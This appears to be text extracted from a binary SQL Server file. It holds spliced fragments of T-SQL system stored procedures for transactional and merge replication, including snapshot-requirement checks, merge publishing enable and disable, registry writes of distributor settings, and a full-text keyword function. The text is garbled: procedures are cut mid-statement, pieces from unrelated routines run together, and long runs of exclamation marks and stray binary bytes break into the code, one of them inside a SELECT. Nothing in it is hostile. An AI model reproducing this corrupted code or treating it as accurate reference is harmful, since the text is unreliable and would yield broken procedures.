        if @subscription_type in (@PULL, @PUSH)
        begin
            select @publisher_database_id = msda.publisher_database_id,
                    @dist_sub_guid = msda.subscription_guid,
                    @agent_id = msda.id
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<({vv             from dbo.MSdistribution_agents msda,
                    master.dbo.sysservers sv
                where sv.srvname = @subscriber
                    and msda.subscriber_id         = sv.srvid
                    and msda.subscriber_db         = @subscriber_db
                    and msda.publisher_id         = @pub_id
                    and msda.publisher_db         = @publisher_db
                    and msda.publication         in  (@publication, N'ALL')
                    and msda.subscription_type     = @subscription_type
        end
        -- for anon use the virtual_agent_id to retrieve the value
        else if @subscription_type = @ANONYMOUS
        begin
            -- if the last tran sequence number is 0x00 then use virtual id to grab the actual agent id
            -- if not then we should be using the anonymous_agent_id (see sp_MSget_repl_cmds_anonymous)
            if @last_xact_seqno = 0x00
            begin
                select @publisher_database_id = msda2.publisher_database_id,
                        @dist_sub_guid = msda2.subscription_guid,
                        @agent_id = msda2.id
                    from dbo.MSdistribution_agents msda1,
                            dbo.MSdistribution_agents msda2
                    where msda1.subscription_guid = @subid
                            and msda2.id = msda1.virtual_agent_id
            end
            else
            begin
                select @publisher_database_id = msda2.publisher_database_id,
                        @dist_sub_guid = msda2.subscription_guid,
                        @agent_id = msda2.id
                    from dbo.MSdistribution_agents msda1,
                            dbo.MSdistribution_agents msda2
                    where msda1.subscription_guid = @subid
                            and msda2.id = msda1.anonymous_agent_id
            end
        end
        -- if for whatever reason we have another subscription type 
        -- (this should never actually happen) let's set the vals to null
        else
        begin
            select @publisher_database_id     = null
            select @dist_sub_guid             = null
            select @agent_id                = null
        end
        
        -- make sure values are valid
        if @publisher_database_id is null or @agent_id is null or @dist_sub_guid is null
        begin
            -- The subscription could not be found.
            raiserror(20021, 16, -1)
            return (1)
        end

        -- By now, we should be in "a" distribution database so regardless
        -- of whether the distribution database procedure sp_MScheck_pull_access
        -- has been moved into the resource database.
        exec @retcode = sys.sp_MScheck_pull_access
            @agent_id = @agent_id,
            @agent_type = 0 -- distribution agent
        if @@error <> 0 or @retcode <> 0
            return (1)

        -- now that we know the subscription exists let's check to see if 
        -- it is a snap pub. if so snap pubs always need a new snapshot.
        if @pub_type = @SNAPSHOT_PUB
        begin
            select @is_needed = @NEEDED
            goto Results_Handler
        end

        -- retrieve sync type
        select @sync_type = max(sync_type)
            from dbo.MSsubscriptions
            where agent_id = @agent_id

        -- nosync subscriptions will never be reinitialized and never need a snapshot
        if @sync_type = @SYNC_TYPE_NONE
        begin
            select @is_needed = @NOT_NEEDED
            goto Results_Handler
        end

        -- if this agent is servicing any inactive concurrent sync articles then say
        -- no snapshot needed.  The concurrent sync article will be activated when the 
        -- SYNCDONE token is written to the distribution db by the logreader at this 
        -- point, all log records associated with the sync will be present in MSrepl_commands
        -- (see sp_MSget_repl_commands for more details)
        if exists(select * 
                    from MSsubscriptions s 
                        join MSpublications p 
                       on (s.publisher_id = p.publisher_id
                         and s.publisher_db = p.publisher_db
                         and s.publication_id = p.publication_id)
                    where s.agent_id = @agent_id
                         and s.status = @INITIATE
                         and (p.sync_method = @CONCURRENT 
                                 or p.sync_method = @CONCURRENT_C))
        begin
               select @is_needed = @NOT_NEEDED
            goto Results_Handler
        end
        
        -- if it is anonymous and the @subid is 0x00 then that means that the subscription has 
        -- just been created but has never been initialized. Unfortunately we have no way of
        -- knowing unless that snapshot is applied or we query the subscriber side again.
        if @subscription_type = @ANONYMOUS and @subid = 0x00
        begin
            select @is_needed = @UNKNOWN
            goto Results_Handler
        end
        -- for push and pull if the guids are equal at the sub and dist then we will most 
        -- likly have to check the replcommands table for the snapshot app needed info. We 
        -- say most likely because there are some optimizations inside to avoid hitting
        -- replcommands if at all possible.
        --
        -- in the anonymous case, if we are here we will always need to come in and
        -- perform extra checks because the subscription guid for anon is not reliable
        else if @dist_sub_guid = @subscription_guid or @subscription_type = @ANONYMOUS
        begin
            -- retrieve some info to check if we are done with snapshot transactions        
            select @num_non_active = sum(case when status <> @ACTIVE then 1 else 0 end),
                    @max_sub_seqno = max(subscription_seqno),
                    @min_sub_seqno = min(subscription_seqno),
                    @max_pub_seqno = max(publisher_seqno)
                from MSsubscriptions 
                where agent_id = @agent_id

            -- if there are any non-active subscriptions then need a snapshot
            if @num_non_active > 0
            begin
                select @is_needed = @NEEDED
                goto Results_Handler
            end
            
            -- if these conditions are met then we know we do not need a snapshot and can exit
            if  @last_xact_seqno > @max_sub_seqno and  
                @last_xact_seqno > @max_pub_seqno
            begin
                select @is_needed = @NOT_NEEDED
                goto Results_Handler
            end
            
            -- Get the last xact_seqno on the pub db FIRST. It will
            -- be used as the upper bound for differnt queries. We have to do
            -- this to prevent transactions on new or changed subscriptions or
            -- with new orignator_id being skipped eigher by preselected query or
            -- preselected originator_id.
            -- Have to have readpast here to prevent the query be blocked by logreader
            -- (even before the first row to the dist agent).
            --
            -- Note:  DO NOT consider distcmds inserted for a concurrent snapshot
            -- These represent 'forward in time' xacts.  Skipping past these xacts
            -- can cause lost transactions!
            --
            -- Note2: consider adding new MSrepl_commands idx with keys:  
            -- publisher_database_id, command_id, type, xact_seqno
            --
            -- Note3: might be able to use replpostcmd + a LSN mapping token to 
            -- allow SS agent to post sync cmds to log instead of dist db.
            --
            select @max_xact_seqno = max(xact_seqno) 
                from MSrepl_commands with (READPAST)
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	wvTcreate procedure sys.sp_MSmerge_is_snapshot_required
    @publisher             sysname,
    @publisher_db         sysname,
    @publication         sysname,
    @subscriber         sysname,
    @subscriber_db         sysname,
    @subscription_type    int,
    @schemaversion        bigint    = 0,
    @run_at_subscriber    bit     = 1
as
begin 
    set nocount on
    
    -- constants
    declare @READY                tinyint
    declare @NOT_READY            tinyint
    declare @INACTIVE            tinyint
    declare @ACTIVE                tinyint
    declare @ATTACHED            tinyint
    declare @DELETED            tinyint
    declare @PUSH                tinyint    
    declare @PULL                tinyint
    declare @ANONYMOUS            tinyint
    declare @LIGHTWEIGHT        tinyint
    declare @NOSYNC                tinyint
    declare @NOT_NEEDED            tinyint
    declare @NEEDED                tinyint
    declare @UNKNOWN            tinyint    
    declare @SCHEMA_REINIT_ALL    tinyint
    declare @SCHEMA_REINIT_UPLD    tinyint

    -- local vars
    declare @retcode            int
    declare @pubid                uniqueidentifier
    declare @subid                uniqueidentifier
    declare @status                tinyint
    declare @snapshot_ready        tinyint
    declare @sync_type            tinyint
    declare @recgen                bigint
    declare @recguid            uniqueidentifier
    declare @sentgen            bigint
    declare @sentguid            uniqueidentifier
    declare @schema_version        bigint
    declare @is_needed            int        -- flag to be selected prior to exit
                                        -- 0 not needed 1 needed 2 unknown
    select @READY                = 1
    select @NOT_READY            = 0
    select @INACTIVE            = 0
    select @ACTIVE                = 1
    select @DELETED                = 2
    select @ATTACHED            = 4
    select @PUSH                = 0
    select @PULL                = 1
    select @ANONYMOUS            = 2
    select @LIGHTWEIGHT         = 3
    select @NOSYNC                = 2
    select @NOT_NEEDED            = 0
    select @NEEDED                = 1
    select @UNKNOWN                = 2
    select @SCHEMA_REINIT_ALL     = 12 
    select @SCHEMA_REINIT_UPLD    = 14 

    select @retcode                = 0    
    select @pubid                = null
    select @subid                = null
    select @status                = null
    select @snapshot_ready        = null
    select @schema_version        = 0
    select @is_needed            = @UNKNOWN

    -- Security check
    if @run_at_subscriber = 0
    begin
        exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication
        if @@error<>0 or @retcode<>0
        begin
            return 1
        end
    end
    else
    begin
        exec @retcode = sys.sp_MSreplcheck_subscribe    
        if @@error<>0 or @retcode<>0
        begin
            return 1
        end
    end


    -- Parameter Validation
    if @publisher is null
    begin
        -- The parameter %s cannot be NULL.
        raiserror (14043, 16, -1, '@publisher', 'sp_MSmerge_is_snapshot_required')
        return (1)
    end

    if @publisher_db is null
    begin
        -- The parameter %s cannot be NULL.
        raiserror (14043, 16, -1, '@publisher_db', 'sp_MSmerge_is_snapshot_required')
        return (1)
    end
    
    if @publication is null
    begin
        -- The parameter %s cannot be NULL.
        raiserror (14043, 16, -1, '@publication', 'sp_MSmerge_is_snapshot_required')
        return (1)
    end

    if @subscription_type not in (@PUSH, @PULL, @ANONYMOUS, @LIGHTWEIGHT)
    begin
        raiserror(20587, 16, -1, @subscription_type, 'sp_MSmerge_is_snapshot_required')
        return (1)
    end
    
    -- set schema_version if not already set
    if @schemaversion is null
    begin
        select @schemaversion = 0x00
    end
                
    -- Check to see if we have these tables. These tables will not exist
    -- on an uninitialized push subscription or a nonexistant publication. 
    if object_id('dbo.sysmergepublications', 'U') is null
        or object_id('dbo.sysmergesubscriptions', 'U') is null
        or object_id('dbo.MSmerge_replinfo', 'U') is null
    begin
        -- nonexistant publication or a pull/anon cases will 
        -- fall here and we have a check after this block
        select @pubid    = null
        select @subid    = null
        select @status     = null
    end
    -- else we will retrieve the information from the tables
    else
    begin
        select @snapshot_ready    = smp.snapshot_ready,
                @pubid             = sms.pubid,
                @subid            = sms.subid,
                @sync_type        = sms.sync_type,
                @status         = sms.status,
                @schema_version    = sms.schemaversion
            from dbo.sysmergepublications smp,
                 dbo.sysmergesubscriptions sms
            where LOWER(smp.publisher)  = LOWER(@publisher)
                and smp.publisher_db         = @publisher_db
                and smp.name                = @publication
                and sms.pubid                = smp.pubid
                and sms.db_name                = @subscriber_db
                and sms.subscription_type    = @subscription_type
                and LOWER(sms.subscriber_server)    = LOWER(@subscriber)
    end

    -- check for valid publication and subscription
    --
    -- NOTE:
    --     Since this proc is run via activex and we must call initialize prior to running this proc
    --     the checks below are unnecessary. A user will fail before calling the proc if any of these
    --    values are null. We may want to consider removing this in the future. We will leave this
    --     here for now as extra protection.
    if @pubid is null
        or @subid is null
        or @status is null
    begin
        -- if we are at the subscriber then the sub does not exist
        if @run_at_subscriber = 1 
        begin
            -- if we are running on a push subscriber and tables are missing then  
            -- we will say that we just don't know whether a snap is needed. There
            -- are two possibilities in this case. 1) Subscription does not exist.
            -- 2) Subscription has not been initialized. Result = UKNOWN.
            if @subscription_type = @PUSH
            begin
                -- set to unknown and then return
                select @is_needed = @UNKNOWN
                goto Results_Handler
            end
            else
            begin
                -- The subscription on the Subscriber does not exist.
                raiserror (20017, 16, -1)
                return (1)
            end
        end
        -- for push and pull we will do some extra checking. Anonymous
        -- subscription info will never exist on publisher so we skip them
        else if @subscription_type in (@PULL, @PUSH) 
        begin
            -- if the subid or status is set to 
            -- null then the sub can not be found 
            if @subid is null 
                or @status is null
            begin
                -- The subscription could not be found.
                raiserror(20021, 16, -1)
                return (1)
            end            
            -- else we could not find the publication
            else 
            begin
                -- The publication '%s' does not exist.
                raiserror(20026, 16, -1, @publication)
                return (1)
            end
        end
    end

    -- check the no sync case first
    if @sync_type = @NOSYNC
    begin
        select @is_needed = @NOT_NEEDED
        goto Results_Handler    
    end
    
    -- if status is in!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<y1HUJTactive or snapshot is not ready then we know that 
    -- the snapshot is needed if not then we have a bit more work to do
    if @status = @INACTIVE 
        or @snapshot_ready = @NOT_READY
        or (@schema_version = 0 and @subscription_type = @PUSH)
        or (@schema_version = -1 and @subscription_type = @PULL)
        or (@schema_version is null)
    begin
        select @is_needed = @NEEDED
        goto Results_Handler            
    end
    
    -- Subscriber specific queries
    if @run_at_subscriber = 1
    begin
        -- retrieve replinfo to see if we have been reinitialized. A reinitalized 
        -- subscription will have nulls for recgen, recguid, sentgen, sentguid. Here
        -- we check to see if it is not needed (if we find one row without null)
        if (@subscription_type = 3) -- light weight subscription does not store a sentgen and sentguid
        begin
            if @subid is not null and 
               @pubid is not null and 
               exists (select * from dbo.sysmergesubscriptions 
                        where pubid = @pubid and subid = pubid and recgen is not null and recguid is not null)
            begin
                select @is_needed = @NOT_NEEDED
            end
            -- else we definetly need a snapshot
            else
            begin
                select @is_needed = @NEEDED
            end
        end
        else
        begin
            if @subid is not null and 
               @pubid is not null and 
               exists (select * from dbo.sysmergesubscriptions 
                        where pubid = @pubid and subid = pubid and recgen is not null and recguid is not null and sentgen is not NULL and sentguid is not NULL)
            begin
                select @is_needed = @NOT_NEEDED
            end
            -- else we definetly need a snapshot
            else
            begin
                select @is_needed = @NEEDED
            end
        end
        goto Results_Handler
    end
    -- else if we are at the publisher then we must look for the pubwide reinit case 
    -- the only place we can look for this answer is the dbo.sysmergeschemachange table
    else
    begin
        if exists (select * 
                    from dbo.sysmergeschemachange 
                    where pubid = @pubid
                        and schemaversion > @schemaversion
                        and schematype in (@SCHEMA_REINIT_ALL, 
                                            @SCHEMA_REINIT_UPLD))
        begin
            select @is_needed = @NEEDED    
        end
        else
        begin
            select @is_needed = @NOT_NEEDED    
        end
        
        goto Results_Handler
    end

Results_Handler:
    -- set the is_snapshot_required val and leave the rest as null we  
    -- must have the other columns because tran and merge share the 
    -- agent code that processes the results of this stored proc.
    select "is_snapshot_required" = @is_needed,
            "schema_version"    = @schema_version
            
    return 0
end
'f
'f     EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @regkey,
                           'DistributorLogin',
                           'REG_SZ',
                            @distributor_login                                    
        if @retcode <> 0 OR @@ERROR <> 0
            return 1
    end

    if @independent_agent IS NOT NULL
    begin
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @regkey,
                           'IndependentAgent',
                           'REG_DWORD',
                            @independent_agent    
        if @retcode <> 0 OR @@ERROR <> 0
            return 1
    end

    IF @failover_mode IS NOT NULL
    begin
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @regkey,
                           'FailoverMode',
                           'REG_DWORD',
                            @failover_mode    
        if @retcode <> 0 OR @@ERROR <> 0
            return 1

    end        
        
    IF @use_web_sync IS NOT NULL
    begin
        declare @use_web_sync_int int
        select @use_web_sync_int = convert(int, @use_web_sync)
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @regkey,
                           'WebSync',
                           'REG_DWORD',
                            @use_web_sync_int    
        if @retcode <> 0 OR @@ERROR <> 0
            return 1
    end            

    if @hostname is not null
    begin
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                              @regkey,
                              'HostName',
                              'REG_SZ',
                               @hostname
        if @retcode <> 0 OR @@ERROR <> 0
            return 1
    end

    -- Mark enabled_for_syncmgr bit if every thing succeeded.
    -- If the row exists in MSreplication_properties table, 
    -- set enabled_for_syncmgr bit
    -- The logic need to be here because UI call this sp directly.
    if object_id('MSsubscription_properties') is not NULL
    begin
        update MSsubscription_properties set enabled_for_syncmgr = 1 where
            UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication
        if @retcode <> 0 OR @@ERROR <> 0
            return 1
    end

    return 0

         select o.name, o.version, o.crdate, o.owner, o.dbid, lSize = 0, NonDbo = 0, Status = o.status, spaceavail = 0,
            LogOnSepDev = 1, o.category, t.accessperms, @dbrole, o.fulltext, o.status2,
            collation = convert(sysname, databasepropertyex(o.name, N'collation'))
            from #TmpOut o left outer join #TmpDbUserProfile t on t.dbid = o.dbid where o.name = @qual order by o.name
      else
         select o.name, o.version, o.crdate, o.owner, o.dbid, lSize = 0, NonDbo = 0, Status = o.status, spaceavail = 0,
            LogOnSepDev = 1, o.category, t.accessperms, @dbrole, o.fulltext, o.status2,
            collation = convert(sysname, databasepropertyex(o.name, N'collation'))
            from #TmpOut o left outer join #TmpDbUserProfile t on t.dbid = o.dbid where o.name like @qual order by o.name

      DROP TABLE #TmpDbUserProfile
      DROP TABLE #TmpOut
      return 0
   end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`9<
E.70| 8create function sys.dm_fts_index_keywords_by_document(
    @dbid int,
    @objid int)
returns table as return
	select 
	keyword, 
	fulltext_display_term(keyword) display_term, 
	colid column_id, 
	docid document_id,
	sum(occcount) occurrence_count
	from openrowset(TABLE FTCOMPINDEX, @dbid, @objid, 1) compidx 
	group by keyword, colid, unusedPid, docid
0yֶ 8
create procedure sys.sp_MSmergepublishdb(
      @value     sysname,
      @ignore_distributor bit = 0
    ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @command        nvarchar(255)
    declare @description    nvarchar(500)
    declare @cmptlevel      tinyint
    declare @db_name        sysname 
    declare @retcode        int
    declare @distributor    sysname
    declare @distribdb      sysname
    declare @category_name  sysname
    declare @agentname      sysname
    declare @working_directory nvarchar(255)
    declare @alter_table_trigger nvarchar(255)
    declare @role sysname
					,@db_tranbit int

    -- database wide pal role
    select @role = 'MSmerge_PAL_role'
    /*
    ** Initialization
    */

    select @db_name = DB_NAME()
    			,@db_tranbit = 1


    /*
    ** Parameter check
    ** @value
    */
    IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true','false')
    BEGIN
      RAISERROR(14137,16,-1)
      RETURN(1)
    END

    /*
    ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
    */
    if @ignore_distributor = 0
    begin
        /*
        ** Test to see if the distributor is installed and online.
        */
        EXECUTE @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, @directory=@working_directory OUTPUT,
           @distribdb    = @distribdb OUTPUT

        IF @@ERROR <> 0 or @retcode <> 0 or @distributor IS NULL or @distribdb IS NULL
        BEGIN
            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
                RAISERROR (20028, 16, -1)
            ELSE
                RAISERROR (20029, 16, -1)
            RETURN (1)
        END
    end

    /*
    ** Enable the database for publishing.
    */
    IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
        select @cmptlevel = cmptlevel from master.dbo.sysdatabases where name=db_name() collate database_default
        if @cmptlevel<70 OR @cmptlevel is NULL 
        begin
            RAISERROR(20061, 16, -1)
            goto FAILURE
        end

        -- Lightweight replicas do not publish themselves
        execute @retcode = sys.sp_MScreate_mergesystables @whattocreate=1
        if @@ERROR <> 0 or @retcode <> 0 goto FAILURE
        
        execute @retcode= sys.sp_MSrepl_ddl_triggers @type='merge', @mode='add'
        if @@ERROR <> 0 or @retcode <> 0 
            goto FAILURE            

        -- create the databased pal role - a role to which every other pal role will belong
        if not exists (select * from sys.database_principals where name=@role and type = 'R')
        begin
            exec @retcode = sys.sp_addrole @role
            if @@ERROR <> 0 or @retcode <> 0 
                goto FAILURE
        end
    END

    ELSE    /* Disable the database for publishing. */
    BEGIN 
        -- if the current db is not a republisher we will ignore the merge metadata in
        -- all the drop procs. That will help us to not delete from contents and tombstones
        -- we will subsequently drop these tables anyway
        declare @ignore_merge_metadata bit

        if not exists (select * from dbo.sysmergesubscriptions 
                        where UPPER(subscriber_server) = UPPER(publishingservername()) and db_name = db_name() and subid <> pubid)
        begin
            select @ignore_merge_metadata = 1
        end
        
        /*
        ** Remove all the registration entries for subscriptions
        */
        if not exists(select * from sys.objects where name = 'sysmergesubscriptions')
            goto FAILURE
        exec @retcode = sys.sp_dropmergesubscription @publication = 'all', 
                                        @subscriber = 'all', 
                                        @subscriber_db = 'all', 
                                        @subscription_type = 'both',
                                        @ignore_distributor = @ignore_distributor
        IF @@ERROR <> 0 or @retcode <> 0 
        begin
            goto FAILURE
        end

        /*
        ** Remove all publications and articles in the database.
        */
        EXEC @retcode = sys.sp_dropmergepublication @publication = 'all',
            @ignore_distributor = @ignore_distributor, @ignore_merge_metadata = @ignore_merge_metadata
        IF @@ERROR <> 0 or @retcode <> 0 
        begin
            -- sp_dropmergepublication will raiserror 
            goto FAILURE
        end
            
        If NOT EXISTS (select * from dbo.sysmergepublications)
        BEGIN
            execute @retcode= sys.sp_MSdrop_mergesystables @whattodrop=3
            if @@ERROR <> 0 or @retcode <> 0 goto FAILURE

            -- drop the database wide pal role
            if exists (select * from sys.database_principals where name=@role and type = 'R')
            begin
                exec @retcode = sys.sp_droprole @role
                if @@ERROR <> 0 or @retcode <> 0 
                    goto FAILURE
            end
        END

        -- we may not have cleaned the merge system tables above if we know of other republishers.
        -- however now by now we have cleaned up all our publications and all
        -- subscriptions to those publications. So if the current database is
        -- not subscribed to any other publication we can remove all merge system tables here
        if exists (select * from sys.objects where name = 'sysmergesubscriptions')
        begin
            if not exists (select * from dbo.sysmergesubscriptions 
                            where UPPER(subscriber_server)=UPPER(publishingservername()) and db_name=db_name() and subid <> pubid)
            begin
                execute @retcode= sys.sp_MSdrop_mergesystables @whattodrop=3
                if @@ERROR <> 0 or @retcode <> 0 goto FAILURE
            end
        end
        
        execute @retcode=sys.sp_MSrepl_ddl_triggers @type='merge', @mode='drop'
        if @@ERROR <> 0 or @retcode <> 0 goto FAILURE

        /*
        set @db_name = sys.fn_getvalidname(@db_name)
        select @alter_table_trigger = 'alter_table_' + @db_name
        if exists (select * from sys.objects where name=@alter_table_trigger)
        begin
            set @alter_table_trigger= quotename(@alter_table_trigger)
            exec('drop trigger ' + @alter_table_trigger + ' on database ')
        end
        */
    END
        
        
        return 0
FAILURE:
    
    return (1)    

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(7Q#O0y v8--
-- Name: sp_MSissnapshotitemapplied
--
-- Description: This procedure is used by the distribution and the merge 
--              agent to determine if a particular snapshot work item
--              has been applied to the subscriber.
--
-- Notes: This procedure should only be called by the merge agent or the
--        distribution agent at the subscriber database.
--
-- Parameters: @snapshot_session_token nvarchar(260)
--                - A UniCode string that uniquely identifies a snapshot
--                  delivery session. For now, this will be the snapshot
--                  generation folder of the snapshot being applied.
--             @snapshot_progress_token nvarchar(500)  
--                - A UniCode string that uniquely identifies a snapshot
--                  work item.
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Result: This procedure will always return a result set that includes
--         the following column:
--
--         snapshot_item_applied (int)
--              - 1 if the specified snapshot item is found in 
--                MSsnapshotdeliveryprogress
--              - 0 if the specified snapshot item is not found
--                in MSsnapshotdeliveryprogress or 
--                MSsnapshotdeliveryprogress simply does not exists. 
--         The result set will contain exactly one row.
--
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_MSissnapshotitemapplied (
    @snapshot_session_token nvarchar(260),
    @snapshot_progress_token nvarchar(500)
    )
as
begin
    set nocount on
    declare @retcode int
    declare @snapshot_progress_token_hash int
    select @retcode = 0

    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end

    if object_id('dbo.MSsnapshotdeliveryprogress') is not null
    begin
        select @snapshot_progress_token_hash = 
            sys.fn_repl32bitstringhash(@snapshot_progress_token)
        if @@error <> 0
        begin
            select @retcode = 1
            goto FAILURE
        end
        if exists (select * from MSsnapshotdeliveryprogress    
                    where progress_token_hash = @snapshot_progress_token_hash
                      and progress_token = @snapshot_progress_token
                      and session_token = @snapshot_session_token)
        begin
            select 'snapshot_item_applied' = 1
        end
        else
        begin
            select 'snapshot_item_applied' = 0
        end
        if @@error <> 0
        begin
            select @retcode = 1
            goto FAILURE
        end
    end
    else
    begin
        select 'snapshot_item_applied' = 0
    end
    if @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end
FAILURE:
    return @retcode    
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`.<	3"0s P
8
CREATE PROCEDURE sys.sp_MSregister_all_merge_pull_subscriptions AS
begin
